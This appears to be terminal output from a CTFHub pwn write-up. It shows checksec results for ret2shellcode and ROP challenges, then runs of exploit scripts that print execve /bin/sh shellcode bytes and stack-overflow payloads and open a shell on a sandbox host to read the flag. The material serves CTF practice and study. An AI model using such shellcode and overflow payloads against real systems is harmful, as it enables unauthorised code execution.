[root@ningan ctfhub]# checksec pwn [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/ctfhub/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
[root@ningan ret2shellcode]# ./pwn Welcome to CTFHub ret2shellcode! What is it : [0x7ffef2f86cb0] ? Input someting : 1234qwer
1 2 3 4 5 6 7 8 9 10
[root@ningan ret2shellcode]# checksec pwn [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/ctfhub/ret2shellcode/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
""" [root@ningan ret2shellcode]# python exp.py [+] Opening connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com on port 25197: Done shellcode: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' len(shellcode): 48 buf_addr: b'Welcome to CTFHub ret2shellcode!\nWhat is it : [0x7ffd675c6c70]' buf_addr: b'0x7ffd675c6c70' buf_addr: 140726337563760 payload: b'aaaaaaaaaaaaaaaaaaaaaaaa\x90l\\g\xfd\x7f\x00\x00jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' [*] Switching to interactive mode ? Input someting : $ ls bin dev flag lib lib32 lib64 pwn $ cat flag ctfhub{0ac15488cb9e428301839991} $ [*] Closed connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com port 25197 """
""" [root@ningan ret2shellcode]# python exp2.py [+] Opening connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com on port 25197: Done buf_addr: b'0x7ffd6f060390' payload: b'aaaaaaaaaaaaaaaaaaaaaaaa\xb0\x03\x06o\xfd\x7f\x00\x00jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' [*] Switching to interactive mode
$ ls bin dev flag lib lib32 lib64 pwn $ $ cat flag ctfhub{0ac15488cb9e428301839991} $ [*] Closed connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com port 25197
""" [root@ningan ret2shellcode]# python exp3.py [+] Opening connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com on port 25197: Done [+] buf_address => 0X7FFC5FC266B0 [+] buf_address => 0X7FFC5FC266D0 [*] Switching to interactive mode $ ls bin dev flag lib lib32 lib64 pwn $ $ cat flaf cat: flaf: No such file or directory $ $ cat g cat: g: No such file or directory $ $ cat flag ctfhub{0ac15488cb9e428301839991} $ [*] Interrupted [*] Closed connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com port 25197
""" [root@ningan ret2shellcode]# python exp4.py [+] Opening connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com on port 25197: Done buf_addr: b'0x7fff875469b0' [*] Switching to interactive mode
$ ls bin dev flag lib lib32 lib64 pwn $ $ cat flag ctfhub{0ac15488cb9e428301839991} $ [*] Interrupted [*] Closed connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com port 25197
"""
ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14
[root@ningan ROP]# ./pwn Welcome to CTFHub rop.Input someting:
1234567890 [root@ningan ROP]# checksec pwn [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/ctfhub/ROP/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [root@ningan ROP]# file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f5d131f24a3b86fc859f2cfade17eb92888ff738, not stripped